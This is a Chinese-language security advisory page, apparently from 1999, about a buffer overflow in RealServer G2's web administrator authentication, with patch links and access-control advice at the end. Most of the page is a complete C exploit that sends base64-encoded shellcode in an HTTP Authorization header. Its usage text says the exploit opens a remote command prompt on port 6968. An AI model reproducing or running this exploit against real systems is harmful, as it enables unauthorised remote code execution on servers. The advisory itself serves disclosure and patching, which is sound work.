首页 -> 安全研究

安全研究

安全漏洞
Real Server 管理员入口缓存溢出漏洞

发布日期:1999-11-04
更新日期:1999-11-07

受影响系统:
Real Networks Real Server G2 1.0
- Microsoft Windows NT 4.0
描述:
Real Server在安装时随机选择了一个未使用的口作为管理员远程入口。这个口用做Real Server的远程web管理。在使用此功能时,要指定正确的入口并提供有效的用户名/口令。通过发送一个长的响应给此鉴定请求,造成缓存溢出,从而在服务器上可以执行任意代码。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

These exploits will open a command prompt on port 6968. Will require tweaking for correct admin port and install directory (if different from the default).


realown.asm (Windows) by dark spyrit
rau.c (Unix) by Sebastian

http://www.securityfocus.com/data/vulnerabilities/exploits/realown.asm
http://www.securityfocus.com/data/vulnerabilities/exploits/rau.c

/* RealNetworks RealServer G2 buffer overflow exploit
*
* by dark spyrit
* quick unix port by team teso
*
* the windows binary is available at http://www.beavuh.org.
*
* This exploits a buffer overflow in RealServers web authentication on
* the administrator port - hence the reason the shellcode is base64 encoded.
* This has been tested on the NT version with a default installation.
* If RealServer is installed in a different directory than the default, the
* buffer will need to be adjusted accordingly.
* The administrator port is randomly selected at installation, but as you''ll
* only be testing on your own networks this won''t matter :)
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/* local functions */

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);

unsigned char sploit[] =
"GET /admin/index.html HTTP/1.0\x0d\x0a"
"Connection: Keep-Alive\x0d\x0a"
"User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a"
"Host: 111.111.11.1:1111\x0d\x0a"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a"
"Accept-Language: en\x0d\x0a"
"Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a"
"Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ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Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX"
"19vqZzuvw7fzf8PX8mcv8+P3f8PX8mcr1/Pzpmdzh8O3J6/b6/Orqmc7K1trSqquZ6vb68"
"vztmfvw9/2Z9fDq7fz3mfj6+vzp7Znq/Pf9mev8+u+Zm5mCoZmZmZmZmZmZmZmZmfr0/bf"
"84fyZ/////w==\x0d\x0a\x0d\x0a\x00";

int
main (int argc, char **argv)
{
int socket;
char *server;
unsigned short int port;
struct sockaddr_in sa;

if (argc != 3) {
printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n"
"by dark spyrit , port by team teso\n\n"
"usage: %s \n"
"eg - %s host.com 6666\n"
"the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]);

exit (EXIT_FAILURE);
}

server = argv[1];
port = atoi (argv[2]);
socket = net_connect (&sa, server, port, 45);

if (socket <= 0) {
perror ("net_connect");
exit (EXIT_FAILURE);
}

write (socket, sploit, strlen (sploit));
sleep (1);
close (socket);

printf ("data sent. try \"telnet %s 6968\" now \n", server);
exit (EXIT_SUCCESS);
}

unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr (host);

if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}

}

return (i);
}

int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;

/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
cs->sin_addr.s_addr = net_resolve (server);
if (cs->sin_addr.s_addr == 0) {
close (fd);
return (-1);
}

flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}

n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}

error = 0;

n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}

}

if (n == 0)
goto done;

FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;

n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}

if (n == -1)
return (-1);

if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}

if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);

done:

n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);

return (fd);

}


建议:
Real Networks 发布了漏洞补丁:

Windows NT:
http://docs.real.com/docs/g260authpatch/ppvb3260.dll
FreeBSD2:
http://docs.real.com/docs/g260authpatch/freebsd2/ppvbasic.so.6.0
FreeBSD3:
http://docs.real.com/docs/g260authpatch/freebsd3/ppvbasic.so.6.0
Irix 6.2:
http://docs.real.com/docs/g260authpatch/irix62/ppvbasic.so.6.0
Linux libc5:
http://docs.real.com/docs/g260authpatch/linux2/ppvbasic.so.6.0
Linux libc6:
http://docs.real.com/docs/g260authpatch/linuxc6/ppvbasic.so.6.0
Digital UNIX:
http://docs.real.com/docs/g260authpatch/osf4/ppvbasic.so.6.0
Solaris 2.51:
http://docs.real.com/docs/g260authpatch/solaris551/ppvbasic.so.6.0
Solaris 2.6:
http://docs.real.com/docs/g260authpatch/solaris56/ppvbasic.so.6.0
Solaris 2.7:
http://docs.real.com/docs/g260authpatch/solaris57/ppvbasic.so.6.0

当然也可能通过ACLs来限制进入管理员入口,有关资料可以从下面地址得到:
http://service.real.com/help/library/guides/g261b2/htmfiles/limiting.htm#89474



浏览次数:8432
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障